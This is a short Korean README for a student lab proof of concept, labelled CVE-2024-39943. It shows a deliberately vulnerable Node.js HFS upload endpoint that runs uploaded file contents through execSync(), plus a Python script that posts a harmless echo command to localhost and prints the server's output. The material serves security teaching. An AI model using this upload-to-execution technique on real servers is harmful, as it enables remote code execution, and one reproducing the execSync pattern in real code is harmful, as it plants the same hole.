
CVE-2024-39943에 대한 개념 증명 익스플로잇으로, Node.js HFS 서버에서 `child_process.execSync()`를 사용한 파일 업로드를 통한 원격 코드 실행을 시연합니다.
화이트햇 스쿨 3기 – 노정민 (@JenmrR)
Node.js 기반 HFS 서버 환경에서, 업로드된 파일의 내용을 child_process.execSync()로 실행하는 취약점이 존재한다.
공격자는 파일 업로드 기능을 통해 OS 명령어를 직접 실행할 수 있으며, 서버 내부 명령어 결과를 확인하거나 시스템을 제어할 수 있다.
이는 CVE-2024-39943에 해당하는 취약점으로, 명령어 주입(Remote Code Execution)과 동일한 수준의 위협을 발생시킨다.
/upload 경로로 파일 업로드를 수신하며, 업로드된 파일 내용을 그대로 명령어로 실행$ sudo docker-compose up --build -d
$ python3 poc.py
import requests
payload = 'echo Hello_From_Hacked_Server'
files = { 'file': ('exploit.txt', payload) }
r = requests.post('http://localhost:8080/upload', files=files)
print(r.text)
PoC 실행 후 서버 응답:
Executed:
Hello_From_Hacked_Server

execSync()로 실행하는 방식은 심각한 보안 위험을 유발한다.